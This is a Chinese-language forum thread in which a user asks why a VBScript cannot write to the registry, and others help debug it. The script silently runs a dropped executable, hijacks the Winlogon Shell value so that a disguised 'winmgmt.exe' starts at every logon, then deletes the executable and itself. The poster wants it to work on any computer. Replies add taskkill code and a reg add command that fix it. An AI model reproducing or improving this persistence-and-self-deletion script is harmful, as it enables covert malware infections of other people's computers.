VBS写入注册表为何提示没有权限？

jialin2008

怎么不能写入注册表呢 提示没有权限！
脚本如下：

dim wsh 
set wsh=CreateObject("WScript.Shell") 
wsh.run "%windir%\zhuceji.exe",0 
set sm=Wscript.CreateObject("WScript.Shell") 
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" 
set WshShell=WScript.CreateObject("WScript.Shell") 
WScript.Sleep 2000 
Set fso=CreateObject("Scripting.FileSystemObject") 
f=fso.DeleteFile ("zhuceji.exe") 
f=fso.DeleteFile (WScript.ScriptName)
复制代码

Batcher

给大家分享一下你的解决方法吧

jialin2008

55555我在找解决办法啊 提示没有权限！
  错误行9
    字符 1
    错误 没有权限

有时候可以

Batcher

出错的时候看看当前登录的用户是不是管理员

jialin2008

是啊 还有办法修改吗

Batcher

出错的时候，有没有杀软或者注册表包含软件在运行？
在别人电脑上也是有时行有时不行？

jialin2008

这个倒没试 ！在我的电脑上，第一次可以 ，后来就不可以了

BatCoder

打开注册表编辑器，看看以下分支的读写是怎样的，截图上来看看。
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

jialin2008

晕了 怎么没有最后一项呢

BatCoder

右键单击Winlogon，权限，结果贴出来看看。

jialin2008

我是想在任何一台电脑上都有权限写入注册表啊！

jialin2008

说说啊 朋友们？“等着呢

Spring

请先看清楚错误提示：

错误行9
字符 1
错误 没有权限

它是说你没有删除文件的权限，而不是操作注册表的权限。 简单推测错误原因是你的 zhuceji.exe 仍然在运行中，因此不能删除。 如果你的 zhuceji.exe 是运行后自动退出的，可以把第三行改成

wsh.run "%windir%\zhuceji.exe",0,true
复制代码

如果不是，在你的 WScript.Sleep 2000 下面加上结束进程的代码

WScript.Sleep 2000 
wsh.run "taskkill /f /im zhuceji.exe",0,true
WScript.Sleep 300
复制代码

jialin2008

谢谢谢谢  ！！！！！ 可是他无法写入注册表！

BatCoder

在CMD窗口里面运行这个命令结果如何？

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "Explorer.exe %systemroot%\system32\winmgmt.exe" /f
复制代码